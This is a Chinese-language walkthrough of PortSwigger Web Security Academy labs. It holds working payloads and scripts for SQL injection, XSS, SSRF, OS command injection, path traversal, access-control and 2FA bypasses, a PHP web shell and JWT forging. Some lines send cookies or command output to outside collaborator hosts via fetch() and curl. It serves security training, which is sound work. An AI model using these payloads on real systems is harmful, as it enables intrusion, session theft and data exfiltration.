本页目录

PortSwigger Writeup

SQL injection

Ap: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

给了查询的SQL语句示例:

SQL
SELECT * FROM products WHERE category = 'Gifts' AND released = 1

构造payload为Gifts' or 1=1 --,输入URL/filter?category=Gifts%27%20or%201=1%20--

Ap: SQL injection vulnerability allowing login bypass

直接用用户名administrator' --;或用户名administrator,密码1' or 1=1 --

XSS: Cross-site scripting

笔记

document.writeinnerHTMLinnerHTML写入的script标签不会被解析执行;document.write会直接将内容插入文档流,写入的script标签会被执行。对于innerHTML的情况可以考虑使用<img src=0 onerror="alert(0)">

Ap: Reflected XSS into HTML context with nothing encoded

反射型XSS,搜索<script>alert(0)</script>

Ap: Stored XSS into HTML context with nothing encoded

存储型XSS,评论<script>alert(0)</script>

Ap: DOM XSS in document.write sink using source location.search

页面中有如下代码:

JavaScript
function trackSearch(query) {
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    trackSearch(query);
}

构造payload为"><script>alert(0)</script>,输入搜索即可。

Ap: DOM XSS in innerHTML sink using source location.search

页面中有如下代码:

JavaScript
function doSearchQuery(query) {
    document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
    doSearchQuery(query);
}

构造payload为<img src=0 onerror="alert(0)">,输入搜索即可。

Ap: DOM XSS in jQuery anchor href attribute sink using location.search source

/feedback页面中有如下代码:

JavaScript
$(function() {
    $('#backLink').attr("href", (new URLSearchParams(window.location.search)).get('returnPath'));
});

注入点是a标签的href,payload为javascript:alert(0)。输入URL/feedback?returnPath=javascript:alert(0),然后点击这个a标签。

Ap: DOM XSS in jQuery selector sink using a hashchange event

注入点:

JavaScript
$(window).on('hashchange', function(){
    var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
    if (post) post.get(0).scrollIntoView();
});

此题目用到特定版本jQuery的漏洞,$()可以被利用向DOM中注入恶意元素。这道题目需要构造一个恶意网页发送给目标用户,所以需要在用户侧触发hashchange,因此使用iframe

官方题解直接在onload中改变this.src,尽管也可以触发print()函数,但是这样做会导致循环(this.src改变时,再次调用onload,然后再改变this.src)。所以这里加了判断。

HTML
<iframe
    src="https://0a47005704554525834f7e66009e008f.web-security-academy.net/#"
    onload="this.src.endsWith('#') && (this.src+='<img src=0 onerror=print()>')"
>

Ap: Reflected XSS into attribute with angle brackets HTML-encoded

输入的内容被加载到input元素的value属性:

img

在本地"onblur="alert(0)这样的payload就可以触发,但是测试发现好像只有onmouseoveronmouseenter这种才能通过远程,暂时不清楚原因。

Ap: Stored XSS into anchor href attribute with double quotes HTML-encoded

表单的website域直接将传入的字符串作为href,因此payload为javascript:alert(0)

Ap: Reflected XSS into a JavaScript string with angle brackets HTML encoded

搜索内容在后端被直接拼接在JavaScript代码里,注入点仍然是一个埋点(用于数据跟踪),比如搜索123';123,观察得到的HTML文档:

img

可以看到第二个123是有语法高亮的,因此可以构造payload为0';alert(0);//

Pr: DOM XSS in document.write sink using source location.search inside a select element

注入点是window.location.search

JavaScript
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
    document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
    if(stores[i] === store) {
        continue;
    }
    document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');

那么直接访问/product?productId=2&storeId=<script>alert(0)</script>即可。

【-】Pr: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded

待做!

Pr: Reflected DOM XSS

网站请求了searchResults.js,审计一下代码,发现有调用eval函数:

JavaScript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
        eval('var searchResultsObj = ' + this.responseText);
        displaySearchResults(searchResultsObj);
    }
};

抓包看到responseText的形式为:{"results":[],"searchTerm":"1234"},因此可以构造payload为0"};alert(0);//

尝试下发现不成功,因为"被转义成\",不过反斜杠没有被转义,因此再插入一个反斜杠抵消掉即可,最终payload为0\"};alert(0);//

Pr: Stored DOM XSS

网站请求了loadCommentsWithVulnerableEscapeHtml.js,审计一下代码,使用了replace函数:

JavaScript
function escapeHTML(html) {
    return html.replace('<', '&lt;').replace('>', '&gt;');
}

replace函数这样调用只会转义首次出现的地方,正确实践应该使用正则表达式:

img

本题可以用<><img src=0 onerror="alert(0)">注入。

Pr: Reflected XSS into HTML context with most tags and attributes blocked

XSS Cheat Sheet生成的字典fuzz一下,看到<body onresize="print()">没有被屏蔽;构造payload让iframe加载后触发onresize事件:

HTML
<iframe
    src="https://0a1a006404308bdc817a57d600ed00c8.web-security-academy.net/?search=%3cbody%20onresize%3d%22print()%22%3e"
    onload="this.style.width=999"
>

Pr: Reflected XSS into HTML context with all tags blocked except custom ones

本题屏蔽了所有标签,但自定义标签没有被屏蔽,自定义标签也可以触发事件,考虑这个思路:

HTML
<xxx onscroll="alert(document.cookie)" style="display: block;height: 100px;overflow-y: scroll;">
    <aaa style="display: block;height: 200px;">aaa</aaa>
    <bbb id="bbb">bbb</bbb>
</xxx>

通过onscroll事件触发XSS,可以用片段标识符(#后面的部分)指定bbb元素的id,然后给父元素设置固定高度和overflow-y,这样定位bbb元素时就可以触发事件。

本题不需要再执行其他JavaScript代码,因此不需要使用iframe。payload为:

HTML
<script>
    window.location = "https://0acc002a031315c1bc60e15b00ea00c5.web-security-academy.net/?search=%3Cxxx%20onscroll=%22alert(document.cookie)%22%20style=%22display:%20block;height:%20100px;overflow-y:%20scroll;%22%3E%3Caaa%20style=%22display:%20block;height:%20200px;%22%3Eaaa%3C/aaa%3E%3Cbbb%20id=%22bbb%22%3Ebbb%3C/bbb%3E%3C/xxx%3E#bbb"
</script>

官方题解的思路更简洁一点,核心想法是给元素带上tabindex属性后,就可以触发onfocus事件(payload中同样需要在URL结尾加上#xxx):

HTML
<xxx onfocus="alert(document.cookie)" id="xxx" tabindex="0">

【-】Pr: Reflected XSS with some SVG markup allowed

待做!

Pr: Reflected XSS in canonical link tag

本题没有可以显式输入的地方,注意到访问的URL以及参数会被反射到<link rel="canonical" href="...">中,并且可以用单引号闭合注入其他属性。

根据题目提示,用户会使用快捷键,考虑注入accesskey属性和onclick事件,payload为/?%27accesskey=%27x%27onclick=%27alert(0)

Pr: Reflected XSS into a JavaScript string with single quote and backslash escaped

搜索内容会被直接拼接在JavaScript代码里,但转义了'\,这样就不能通过闭合单引号注入:

HTML
<script>
    var searchTerms = '...';
    document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
</script>

可以考虑闭合前一个script标签,搜索</script><script>alert(0)</script>即可。

Pr: Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

和上一题一样,搜索内容会被直接拼接在JavaScript代码里,本题尖括号被编码为HTML实体,转义了单引号,但是没有转义反斜杠;利用这点,字符串\'转义后为\\',绕过了对单引号的转义,从而可以闭合字符串。可以搜索\';alert(0);//

Pr: Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

评论功能,Website输入https://a,观察到生成的a标签有一个onclick属性包含了填入的网址:

HTML
<a id="author" href="https://a" onclick="var tracker={track(){}};tracker.track('https://a');">1</a>

本题可以利用HTML实体编码绕过对单引号的过滤,payload为https://a&apos;);alert(0);//(填入Website栏)。

Pr: Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

搜索内容被拼接在模板字符串中,payload为${alert(0)}

Pr: Exploiting cross-site scripting to steal cookies

利用XSS带出Cookie,然后替换本地的session就可以登录目标用户账户。

HTML
<script>
    fetch("https://etbvlhuhszzf2h1ae4b3wp86mxsogf44.oastify.com/" + document.cookie);
</script>

SSRF: Server-side request forgery

Ap: Basic SSRF against the local server

根据提示,发送请求:

Python
import requests

url = "https://0aaf00c7049bf8f4805d26ba00c90059.web-security-academy.net/product/stock"
stockApi = "http://localhost/admin"
resp = requests.post(url, data={"stockApi": stockApi})
print(resp.text)

在返回中看到<a href="/admin/delete?username=carlos">Delete</a>,再次发送对/admin/delete?username=carlos的请求即可。

Ap: Basic SSRF against another back-end system

根据提示扫描端口:

Python
import requests

url = "https://0aee006003dd23eb8589365a00810071.web-security-academy.net/product/stock"
for x in range(255):
    stockApi = f"http://192.168.0.{x}:8080/admin"
    resp = requests.post(url, data={"stockApi": stockApi})
    print(x, resp.status_code)

192.168.0.13:8080/admin返回200。删除用户同上。

Pr: Blind SSRF with out-of-band detection

根据提示,重放请求,把Referer改为Burp Collaborator生成的地址,发送即可。

Pr: SSRF with blacklist-based input filter

官方题解用的是双重URL编码,这里发现大写也能绕过。

Python
import requests

url = "https://0aab002a034b510483b51fab001200c3.web-security-academy.net/product/stock"
stockApi = f"http://Localhost/Admin/delete?username=carlos"
resp = requests.post(url, data={"stockApi": stockApi})
print(resp.text)

OS command injection

Ap: OS command injection, simple case

提示了网站会用参数直接执行shell脚本,所以:

Python
resp = requests.post(url, data={"productId": 1, "storeId": "; whoami"})

Pr: Blind OS command injection with time delays

时间盲注,测试后发现可以注入的参数是email,一个可行的payload是;sleep 10;

Python
import requests
from lxml import etree

with requests.session() as s:
    resp = s.get("https://0a63005b03a7c9f4854903e600540054.web-security-academy.net/feedback")
    tree = etree.HTML(resp.text)
    csrf_token = tree.xpath("//input[@name='csrf']/@value")[0]
    print(csrf_token)
    resp_submit = s.post(
        "https://0a63005b03a7c9f4854903e600540054.web-security-academy.net/feedback/submit",
        data={
            "csrf": csrf_token,
            "name": "1",
            "email": ";sleep 10;",
            "subject": "1",
            "message": "1"
        }
    )
    print(resp_submit.text)

Pr: Blind OS command injection with output redirection

题目提示目录/var/www/images用于存储静态图片,可以利用这点在服务端没有回显的情况下,读取注入命令的输出。

和上一题非常类似,只需要把email参数改为;whoami > /var/www/images/1.txt;,然后访问/image?filename=1.txt

Pr: Blind OS command injection with out-of-band interaction

题目只需对带外服务器发起一个DNS查询,email参数改为;nslookup t82fv9ixj1eo77w280l694ldu40xoocd.oastify.com;

Pr: Blind OS command injection with out-of-band data exfiltration

需要得到当前登录用户的用户名,email参数改为;curl hpa3cxzl0pvcovdqpo2uqs21bshm5et3.oastify.com/$(whoami);,可以在Collaborator HTTP请求记录中看到GET /peter-BPPYsm HTTP/1.1

Path traversal

Ap: File path traversal, simple case

观察到正常请求图片的方式为/image?filename=23.jpg,构造payload为/image?filename=../../../../etc/passwd

Python
import requests

url = "https://0a0d000b031e427780e062f9002d0083.web-security-academy.net/image?filename=../../../etc/passwd"
resp = requests.get(url)
print(resp.text)

Pr: File path traversal, traversal sequences blocked with absolute path bypass

payload为/image?filename=/etc/passwd

Pr: File path traversal, traversal sequences stripped non-recursively

双写绕过,payload为/image?filename=....//....//....//etc/passwd

Pr: File path traversal, traversal sequences stripped with superfluous URL-decode

双重URL编码绕过:

Python
payload = "../../../etc/passwd".replace(".", "%2e").replace("%", "%25")
url = "https://0aad00d204570d5980a7fd6f00e600c7.web-security-academy.net/image?filename=" + payload

Pr: File path traversal, validation of start of path

payload为/image?filename=/var/www/images/../../../etc/passwd

Pr: File path traversal, validation of file extension with null byte bypass

payload为/image?filename=../../../etc/passwd%00.jpg

Access control vulnerabilities

Ap: Unprotected admin functionality

robots.txt中发现/administrator-panel,可以直接访问管理员面板。

Ap: Unprotected admin functionality with unpredictable URL

在前端代码中可以发现管理员面板路径/admin-h132ly

Ap: User role controlled by request parameter

是否为管理员保存在Cookie中,把Admin的值改为true,再访问/admin即可。

Ap: User role can be modified in user profile

在更新电子邮件的POST请求参数中加入roleid

JSON
{
    "email": "1@1.com",
    "roleid": 2
}

更新后即可访问管理员面板。

Ap: User ID controlled by request parameter

登录自己的账号后,URL为/my-account?id=wiener,改为/my-account?id=carlos就可以获得目标用户的API Key。

Ap: User ID controlled by request parameter with unpredictable user IDs

登录自己的账号后,URL为/my-account?id=81861f68-9ff9-4641-aa12-cd2ead96ef58,目标用户carlosid无法预测。

浏览网站,发现博客页面包含其他用户的userId,可以找到carlos发的帖子,进而拿到其id

Ap: User ID controlled by request parameter with data leakage in redirect

直接把URL改为/my-account?id=carlos,尽管触发了302重定向到/login,但重定向请求的响应体中包含了HTML文档,从而泄露了carlos的API Key。

Ap: User ID controlled by request parameter with password disclosure

同样发现可以直接修改id切换到administrator的主页,主页中的修改密码表单泄露了管理员密码。

Ap: Insecure direct object references

在Live chat页面点击View transcript,发现请求了/download-transcript/2.txt,再次点击序号递增。改为1.txt,下载的文件包含了carlos的密码。

Pr: URL-based access control can be circumvented

题目说后端支持X-Original-URL,可以利用这点绕过鉴权:

Python
import requests

url = "https://0afe00820447d83281885ea4004a00fe.web-security-academy.net/?username=carlos"
resp = requests.get(url, headers={"X-Original-URL": "/admin/delete"})

Pr: Method-based access control can be circumvented

用管理员账号登录,可以进行提升用户权限操作,但题目要求我们用普通账号登录并完成提权。用wiener账号登录,伪造管理员发起的请求,会提示Unauthorized。把POST方法改为GET,请求/admin-roles?username=wiener&action=upgrade可以绕过鉴权。

Pr: Multi-step process with no access control on one step

重放Are you sure这一步的请求即可。

Pr: Referer-based access control

用普通用户登录后,重放提权请求,把Referer改为https://.../admin可以绕过鉴权。

Authentication

Ap: Username enumeration via different responses

用户名枚举攻击:用户不存在会提示Invalid username,否则会提示Incorrect password。题目给了用户名和密码的字典,先枚举出用户名为acceso,然后枚举出密码为1234567

Ap: 2FA simple bypass

用户名密码登录后,可以直接改URL为/my-account跳过2FA。(用户名密码登录后登录态已经保存,2FA“形同虚设”。)

Ap: Password reset broken logic

wiener账号抓到重置密码请求的包,发现参数里有username=wiener,改为username=carlos重放请求就重置了carlos用户的密码。

Pr: Username enumeration via subtly different responses

用户名枚举攻击,回显有微小的差别,名为accounts的账号回显为Invalid username or password,相比于其他的结尾少了一个句号.。然后枚举出密码为buster

Pr: Username enumeration via response timing

基于时间的用户名枚举:

爆破发现有频率限制,本题可以添加X-Forwarded-For头绕过;

枚举用户名时,把密码设置为一个较长的字符串,对于合法的用户名,服务端可能还会判断密码是否正确,比起不存在的用户名可能在处理时间上有差异。利用这一点观察Burp Intruder的fuzz结果的响应时间一列,autodiscover账号响应时间明显长于其他;

枚举出密码为ginger

Pr: Broken brute-force protection, IP block

频率限制有逻辑缺陷:成功登录可以重置频率限制。因此间隔地用本题给的wiener账号登录、枚举字典尝试登录carlos,确保在触发频率限制前重置,即可枚举出密码为matrix。(然而这样不能并行了,因为要保证请求有序到达)

Pr: Username enumeration via account lock

频率限制有逻辑缺陷:只有存在的用户多次尝试登录才会被限制,如果用户不存在则会一直报用户名密码错误。利用这一点可以对字典上所有用户名发出几次请求(大于三次就会触发频率限制),然后找出最后一轮请求中回显不同的用户名af,然后枚举出密码为moscow

Pr: 2FA broken logic

发现网站一些不合理的行为:验证码登录(/login2页面)验证的用户依赖于Cookie中的verify字段;在/login2页面直接刷新就可以接收到验证邮件。

利用这个问题,可以跳过账号密码登录,把Cookie改为verify=carlosGET请求/login2后一次后,爆破验证码登录目标用户账号。

Pr: Brute-forcing a stay-logged-in cookie

登录时选择Stay logged in,看到Cookie中保存了一条stay-logged-in=d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw,Base64解码的结果为wiener:51dc30ddc473d43a6011e9ebba6ca770,可以反查到这是peter的MD5值。(有些在线网站可以反查MD5值)

这样可以根据本题给的密码字典,构造出stay-logged-in=base64("carlos:" + MD5(password))形式的Cookie值,去请求/my-account;请求时不带session这个Cookie,此时如果密码正确会返回200,否则则被重定向到登录页面(302)。找到成功的Cookie值之后,复制到浏览器,访问/my-account即可登入carlos的账号。

Pr: Offline password cracking

本题和上一题一样有Stay logged in功能,要拿到carlos的密码,需要用XSS带出carlos的Cookie。首先,评论功能有存储型XSS,评论:

HTML
<script>
    fetch("https://exploit-0ae8005103bdf9bb82115652013b0094.exploit-server.net/exploit?c=" + document.cookie);
</script>

然后在Exploit Server构造payload,直接跳转到留评论的页面就可以:

HTML
<script>
    window.location = "https://0a0300b903cff9cd82a0573f00b700d8.web-security-academy.net/post?postId=1"
</script>

保存后,在访问记录里就可以看到:

Plain Text
GET /exploit?c=secret=UzB89kNJHCZLkdW393yCPznnISTFaGyN;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1

解码stay-logged-in,得到密码的MD5值26323c16d5f4dabff3bb136f2460a943,反查到明文是onceuponatime

Information disclosure

Ap: Information disclosure in error messages

要寻找的信息是在报错中泄露的使用的库的版本号,注意后端会把报错信息返回。把请求的参数改为单引号:/product?productId=%27,可以看到报错:

Plain Text
Internal Server Error: java.lang.NumberFormatException: For input string: "a"
    at java.base/java.lang.NumberFormatException.forInputString(NumberFormatException.java:67)
    at java.base/java.lang.Integer.parseInt(Integer.java:661)
    ...
    at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144)
    at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642)
    at java.base/java.lang.Thread.run(Thread.java:1583)

Apache Struts 2 2.3.31

Ap: Information disclosure on debug page

根据提示扫目录发现/cgi-bin,然后在/cgi-bin/phpinfo.php中找到SECRET_KEYwmxjxsr1m446564ya43mb4f1vvueyvfo

Ap: Source code disclosure via backup files

扫目录发现/backup,找到源代码文件,发现写在源码里的数据库密码muwgq3v6l0w2jhuw8cbrya9lmcbs4bx9

Ap: Authentication bypass via information disclosure

直接请求/admin,显示需要本地用户才能访问。使用TRACE方法请求/admin,发现请求头被添加了X-Custom-IP-Authorization,服务端用此字段判断是否为本地用户,改为127.0.0.1可以登录管理员界面。具体操作可见官方题解

Pr: Information disclosure in version control history

使用wget -r下载网页的/.git文件夹,git log查看日志:

Plain Text
commit 57d75a9b828905169416fe118cabe361f3fc04ad (HEAD -> master)
Author: Carlos Montoya <carlos@carlos-montoya.net>
Date:   Tue Jun 23 14:05:07 2020 +0000

    Remove admin password from config

commit 501316ec0dc033da3b9e795215e85dd28cf59c9d
Author: Carlos Montoya <carlos@carlos-montoya.net>
Date:   Mon Jun 22 16:23:42 2020 +0000

    Add skeleton admin panel

然后git diff 501316 57d75a查看提交记录:

Plain Text
diff --git a/admin.conf b/admin.conf
index 71c5e04..21d23f1 100644
--- a/admin.conf
+++ b/admin.conf
@@ -1 +1 @@
-ADMIN_PASSWORD=dtncjuzxirlmrnxba4l9
+ADMIN_PASSWORD=env('ADMIN_PASSWORD')

可以拿到管理员密码。

File upload vulnerabilities

Ap: Remote code execution via web shell upload

在修改头像表单上传一句话木马:

PHP
<?php system($_GET["cmd"]); ?>

访问/files/avatars/exp.php?cmd=cat%20/home/carlos/secret拿secret。

JWT

笔记

一个JWT包含了用.分隔的三部分:头部(Header)、载荷(Payload)、签名(Signature)。

Header和Payload都是Base64编码的JSON字符串,Header包含关于这个JWT的元数据,比如加密算法;Payload包含关于用户的信息,比如用户名和角色;这两个部分都不包含敏感信息,Base64解码后可以看到明文。

Signature是用于验证JWT是否被篡改的部分,它是由Header、Payload和一个密钥一起计算出来的,密钥存储在服务端。如果攻击者想篡改Header和Payload,在没有密钥的情况下也无法重新计算出匹配的Signature。

JWT头部参数注入

jwk(JSON Web Key),有些服务器允许使用jwk参数中嵌入的密钥进行验证(自签名的JWT),此时攻击者可以用自己生成的RSA私钥签发JWT,并在jwk中携带自己的公钥。

jku(JWK Set URL),有些服务器允许使用jku参数来引用包含密钥的JWK Set,验证签名时,服务器会从该URL获取密钥。如果服务器没有验证密钥来源是否可信,则可以被利用。

kid参数注入+路径遍历,服务端可能用kid来决定使用哪个密钥,然而对于kid的格式并没有规范(能够对应到密钥即可),如果有些服务用文件名做kid并且这个参数同时存在路径遍历漏洞,攻击者可以指向一个已知的文件,从而可控密钥。常见的利用是/dev/null

JWT算法混淆
算法混淆漏洞通常是由于JWT库实现有缺陷而引起的,许多库提供了一种靠JWT Header中的alg参数来决定使用的验证算法的功能(而不是显式指定)。如果开发者假设此功能仅用于验证非对称算法(如RS256),并使用公钥验证签名,那么攻击者可以将alg参数设置为对称算法(如HS256),然后使用RSA公钥签发JWT。此时,服务端在验证时会使用RSA公钥和HS256算法来验证JWT,导致通过验证。

Ap: JWT authentication bypass via unverified signature

题目说后端不验证Signature,意味着可以任意修改Payload中的信息。把用户名改为administrator,替换原有的JWT,可以作为管理员登录。

Ap: JWT authentication bypass via flawed signature verification

将Header中的alg修改为none可以绕过签名的检查,替换用户名同上一题。

Pr: JWT authentication bypass via weak signing key

根据给出的字典,用hashcat爆破出弱密钥:

Bash
hashcat -a 0 -m 16500 eyJraWQiOiJkNmMxMTBjNi04ZTcwLTRlYzUtOTFjNS1mNzNiNTEzNDU4ZmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MDQ4Mzg2Miwic3ViIjoid2llbmVyIn0.Ee6B5Vv1WoXljbUi6egxgcchwvfvNg5CWQtzBPBvlS0 jwt.secrets.list

得到密钥是secret1,可以用这个密钥签发新的JWT。

Python
import jwt

token = "eyJraWQiOiJkNmMxMTBjNi04ZTcwLTRlYzUtOTFjNS1mNzNiNTEzNDU4ZmQiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MDQ4Mzg2Miwic3ViIjoid2llbmVyIn0.Ee6B5Vv1WoXljbUi6egxgcchwvfvNg5CWQtzBPBvlS0"
key = "secret1"

headers = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
print(payload)  # {'iss': 'portswigger', 'exp': 1740483862, 'sub': 'wiener'}

payload["sub"] = "administrator"
token_exp = jwt.encode(payload, key=key, algorithm="HS256", headers=headers)
print(token_exp)

Pr: JWT authentication bypass via jwk header injection

题目说后端支持jwk参数,我们可以嵌入自己生成的RSA公钥,并用私钥签发JWT。

Python
import jwt
import base64
from Crypto.PublicKey import RSA

token = "eyJraWQiOiI0Mzc2NmI1NS1hOTk4LTRhYTEtYWI0Mi0yMjRkY2I2YWVkMDkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MDQ4ODI1OCwic3ViIjoid2llbmVyIn0.DnpSkEL59D6wFgfzwjXuWPxsRDuSEDTEh7Y1TkmaFJuxVCQKc73ntvFmoZzop9ywn-olr43jwpgT6qT9sdWF2iRN9DQC7lEBoEOSTeoL6aVe2SIyDhPZQoJxcyt1axfv1Eib9O3uvGLN0M9fXCbw1EIFdgy0UpAMWtIjvxHi6Vzwbfmn9dFNpL8aQiBkP4zWJ1HYINCZrH3NxeBxBUAtVLHSubMPdWHjvIxJd6wnFtkX7VdPi4d2sQwjyYQlnUTIIqCah70PTkLzSZPRap1op8Qwv2lTJS1TlL9NYXral83GSkiwhBrVA747Co7v3IY5YM1zRb3BgWYfU1unTHi5JA"

headers = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
print(headers)  # {'kid': '43766b55-a998-4aa1-ab42-224dcb6aed09', 'alg': 'RS256'}
print(payload)  # {'iss': 'portswigger', 'exp': 1740488258, 'sub': 'wiener'}

# 生成攻击者控制的RSA密钥对
key = RSA.generate(2048)
private_key = key.export_key()
public_key = key.publickey().export_key()
n, e = key.n, key.e


def b64_url_encode(data):
    byte_length = (data.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(data.to_bytes(byte_length, byteorder="big")).decode("utf-8").rstrip("=")


jwk = {
    "kty": "RSA",
    "n": b64_url_encode(n),
    "e": b64_url_encode(e),
    "kid": headers["kid"]
}
print(jwk)

headers["jwk"] = jwk
payload["sub"] = "administrator"
token_exp = jwt.encode(payload, key=private_key, algorithm="RS256", headers=headers)
print(token_exp)

Pr: JWT authentication bypass via jku header injection

利用方式和上一题很像,本题后端支持jku参数,我们把自己生成的RSA公钥以{"keys": [jwk]}的形式设置为Exploit Server的响应,并把jku参数设置为对应的URL。和之前一样替换用户名为administrator

Python
import jwt
import json
import base64
from Crypto.PublicKey import RSA

token = "eyJraWQiOiJiMzE2NDg4OS1iMDYwLTQxZjktYTMyMC1mMDU4NjYzNDk3NWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MDgzNTM2OCwic3ViIjoid2llbmVyIn0.sNDGLHXVpG7Sijztwt7DT7nuERHgwwghx1tfm9CXdbg4j3qfZSBSRDQhrUmj4FBfRcSmJKdGQcprC-hTLxg4W0oiHvv3NfkRdKy8DvKXFpo4OIdmP4UKmzQ5k7I6Iqp5ZHssKWuNrlvtwf_RRp_8iMYgVju5CI4SAs4m5eqnYkpGiv2ZYDKPrHU7sQkzvu79QN_ozVcieV9JGc6e63sk1fjZil27dDILYmHPV5Iq7xYjvHs2rGIbSlIuI23dQeWakWhgsF8q0ryER59-B3yi8hbCx0SHt6NEd50SO8z77eYVPd2XlBk3vDl-TjzmK2n9i9VVGBqTAu5ASXHJVb55vg"

headers = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
print(headers)  # {'kid': 'b3164889-b060-41f9-a320-f0586634975e', 'alg': 'RS256'}
print(payload)  # {'iss': 'portswigger', 'exp': 1740835368, 'sub': 'wiener'}

# 生成攻击者控制的RSA密钥对
key = RSA.generate(2048)
private_key = key.export_key()
public_key = key.publickey().export_key()
n, e = key.n, key.e


def b64_url_encode(data):
    byte_length = (data.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(data.to_bytes(byte_length, byteorder="big")).decode("utf-8").rstrip("=")


jwk = {
    "kty": "RSA",
    "n": b64_url_encode(n),
    "e": b64_url_encode(e),
    "kid": headers["kid"]
}
# 生成JWK Set,设置为Exploit Server的响应
jwk_set = {"keys": [jwk]}
print(json.dumps(jwk_set, indent=2))

headers["jku"] = "https://exploit-0a370036034e486581585b4801f500de.exploit-server.net/jwks.json"
payload["sub"] = "administrator"
token_exp = jwt.encode(payload, key=private_key, algorithm="RS256", headers=headers)
print(token_exp)

Pr: JWT authentication bypass via kid header path traversal

kid参数存在路径遍历漏洞,可以指向/dev/null,从而可用空字符串进行签名。

Python
import jwt

token = "eyJraWQiOiI0YzA0YzdjZS0wNWFiLTQwODMtYmM1My00MGYxNGMyMDJhNzIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MDgxODU2NSwic3ViIjoid2llbmVyIn0.D-inM9parROYgRuzAkSTrVRFW5GchWFVXgXS15hr27I"

headers = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
print(headers)  # {'kid': '4c04c7ce-05ab-4083-bc53-40f14c202a72', 'alg': 'HS256'}
print(payload)  # {'iss': 'portswigger', 'exp': 1740818565, 'sub': 'wiener'}

headers["kid"] = "../../../../../../dev/null"
payload["sub"] = "administrator"
token_exp = jwt.encode(payload, key="", algorithm="HS256", headers=headers)
print(token_exp)

Ex: JWT authentication bypass via algorithm confusion

算法混淆,公钥可以请求/jwks.json获得,思路就是用RSA公钥和HS256算法签名造成混淆。然而这题Python实现的时候有两个问题:

首先,使用algorithm="HS256"和RSA公钥签名时,RSA公钥格式会被检测到,会报异常:

Plain Text
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

解决办法是,找到site-packages/jwt/algorithms.py文件,在类HMACAlgorithm的方法prepare_key中注释掉检验的逻辑:

Python
def prepare_key(self, key: str | bytes) -> bytes:
    key_bytes = force_bytes(key)

    # if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    #     raise InvalidKeyError(
    #         "The specified key is an asymmetric key or x509 certificate and"
    #         " should not be used as an HMAC secret."
    #     )

    return key_bytes

然后会发现生成的JWT仍然无法通过Lab,这是因为和服务端用的库不同。经调试,Python通过RSA.construct((n, e)).public_key().exportKey()生成的公钥还需要在结尾补一个\n。Python的利用代码如下:

Python
import jwt
import base64
import requests
from Crypto.PublicKey import RSA

token = "eyJraWQiOiJlZmI0YmExMS02ODU0LTRjMTItYWY0MS00MDk0NDIxM2QwYmEiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MDg0NzY4NCwic3ViIjoid2llbmVyIn0.bvQu30Zqmmj7ump3V1Lwkg6G_w2ZsFhlbHuv0XCBWNE9LrnxLHcxQ54m8-iwGrbA-Bjhg37PyFhTIK8bsK0WCmWI3B88mK8WxeXP_RuZGXwpatapYH7Inh_gu3Vq25Ac8CMoD0dywM1rP6G3-_R4Z5B5LsojCoS8wZW8bg4Ax9kYLk3xJPigv2eYboK8JYKFoJSDXNfWt5QMK2_PqlBuz9dZBRJ4dnFK54KXpz8CXOr0yFX8Eon5nDpnx4ngdG4YsLr_1jLbnlM9y7rMqaBdYWQEEzZhTl2FkTiPkvsR0JImRNTFiRz8HlFekcPaWPXDh8iHLNoXKiwnkhHgvi1dCg"

headers = jwt.get_unverified_header(token)
payload = jwt.decode(token, options={"verify_signature": False})
print(headers)  # {'kid': 'efb4ba11-6854-4c12-af41-40944213d0ba', 'alg': 'RS256'}
print(payload)  # {'iss': 'portswigger', 'exp': 1740847684, 'sub': 'wiener'}

jwk_set = requests.get("https://0ae500e0036cb3ae813dfc5e004e00d0.web-security-academy.net/jwks.json").json()
jwk = jwk_set["keys"][0]
print(jwk)


def b64_url_decode(data):
    return int.from_bytes(base64.urlsafe_b64decode(data + "=="), byteorder="big")


n = b64_url_decode(jwk["n"])
e = b64_url_decode(jwk["e"])

